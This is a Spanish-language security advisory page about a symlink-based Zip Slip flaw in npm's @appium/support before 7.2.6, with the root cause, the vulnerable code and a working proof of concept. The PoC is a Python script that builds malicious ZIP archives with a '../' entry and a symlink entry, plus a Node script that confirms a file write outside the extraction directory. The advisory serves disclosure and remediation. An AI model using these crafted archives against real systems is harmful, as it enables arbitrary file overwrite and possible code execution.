Media

Appium: Zip Slip basado en enlaces simbólicos en la extracción de ZIP de @appium/support

  • Publicada: 15.10.2026
  • Actualizado: 20.10.2026 08:34

Resumen

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) consistía en una vulnerabilidad clásica de salto de directorio (path traversal) en el nombre de la entrada. La verificación creaba un objeto Error sin lanzarlo con throw, por lo que una entrada llamada literalmente algo como ../evil.txt se escribía fuera del destino. Dicho problema se solucionó en @appium/support 7.0.6 rechazando explícitamente los nombres de entrada no permitidos.

Este hallazgo representa un vector diferente que la corrección en 7.0.6 no cubre. Los nombres de las entradas del archivo aquí son completamente legítimos (por ejemplo pwn y pwn/owned.txt, sin .. en ninguna parte), por lo que cualquier defensa basada en nombres los acepta. La evasión se produce a través de un enlace simbólico (symlink). Una entrada es un enlace simbólico cuyo destino apunta fuera del directorio de extracción, y una entrada posterior es un archivo normal cuyo nombre se resuelve a través de dicho enlace. La validación léxica de nombres no inspecciona el destino del enlace simbólico y el extractor escribe el destino tal cual proviene del archivo, haciendo que el archivo se guarde fuera de la raíz de extracción.

Comparación de ambos problemas en la misma versión parcheada 7.2.5:

CVE-2026-30973 Este hallazgo
Vector una entrada cuyo nombre contiene .. una entrada de enlace simbólico más un archivo escrito a través de ella
Nombres de entrada contienen .. (no válidos) legítimos, sin .. y no absolutos
Qué falta la verificación de nombre de .. no lanzaba error las comprobaciones no resuelven symlinks y el destino del symlink no se valida
Entradas necesarias una dos
Corregido en 7.0.6 sí no
Estado en 7.2.5 bloqueado aún explotable (demostrado abajo)

Detalles

Causa raíz

El extractor solo aplica una comprobación de contención léxica en el propio nombre de cada entrada; luego, en el caso de un symlink, crea el enlace con el destino tomado directamente del archivo comprimido:

js
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath compara cadenas normalizadas y no ejecuta realpath. Por lo tanto, para la entrada de archivo pwn/owned.txt, el destino dir/pwn/owned.txt se encuentra léxicamente dentro de dir y la validación pasa, a pesar de que dir/pwn es un enlace simbólico creado por la entrada anterior que apunta fuera de dir. La escritura sigue ese enlace simbólico y escapa del directorio. El destino del enlace simbólico en sí nunca se valida frente al directorio raíz de extracción.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

python
#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr = (0o100644 & 0xFFFF) << 16
    z.writestr(fi, "PWNED via symlink Zip Slip\n")

print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))

zipslip_poc.js

js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');

const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;

(async () => {
  const ver = require('@appium/support/package.json').version;
  console.log(`[*] @appium/support version: ${ver}`);
  console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);

  // Test A: the CVE-2026-30973 vector
  console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
  let aBlocked = false;
  try {
    await support.zip.extractAllTo(zipA, extractA);
  } catch (e) {
    aBlocked = true;
    console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
  }
  const aEscaped = fs.existsSync(escapeA);
  console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);

  // Test B: this finding, the symlink bypass 
  console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
  try {
    await support.zip.extractAllTo(zipB, extractB);
  } catch (e) {
    console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
  }
  const planted = path.join(escapeB, 'owned.txt');
  const bEscaped = fs.existsSync(planted);
  if (bEscaped) {
    console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
    console.log(`    wrote  : ${planted}`);
    console.log(`    content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
  } else {
    console.log('[-] symlink vector did not escape');
  }

  console.log('\n=== SUMMARY (same installed version) ===');
  console.log(`A  CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
  console.log(`B  symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
  process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
  console.error('ERROR', e);
  process.exit(3);
});
use

Impacto

Un atacante que controle un archivo que Appium extraiga puede escribir archivos en ubicaciones arbitrarias donde el proceso de Appium tenga permisos de escritura, ya que la escritura sigue el enlace simbólico a cualquier destino especificado en el archivo. Dependiendo de dónde se ejecute Appium, esto permite sobrescribir un archivo de configuración, colocar un script en una ubicación de inicio o de perfil, o reemplazar un binario en el PATH, lo que puede escalar a ejecución de código. En un ejecutor de integración continua o en una granja de dispositivos, las rutas accesibles incluyen cualquier ubicación modificable por la cuenta de servicio.

Qué hacer

Actualice @appium/support a la versión 7.2.6 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @appium/support < 7.2.6 7.2.6

Referencias

Puntuación CVSS 6.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Debilidad (CWE)
CWE-59
Plataforma
npm
Paquete
@appium/support
Publicada
15.10.2026
Actualizado
20.10.2026 08:34

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-qfxx-c367-67f8 - CC BY 4.0

Historial de vulnerabilidades: @appium/support

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
03.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Media 2

Divulgaciones por año

  1. 2026: 2
  1. Appium: Zip Slip basado en enlaces simbólicos en la extracción de ZIP de @appium/support esta entrada
    Media · 6.5 CVE-2026-103975 < 7.2.6 7.2.6

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.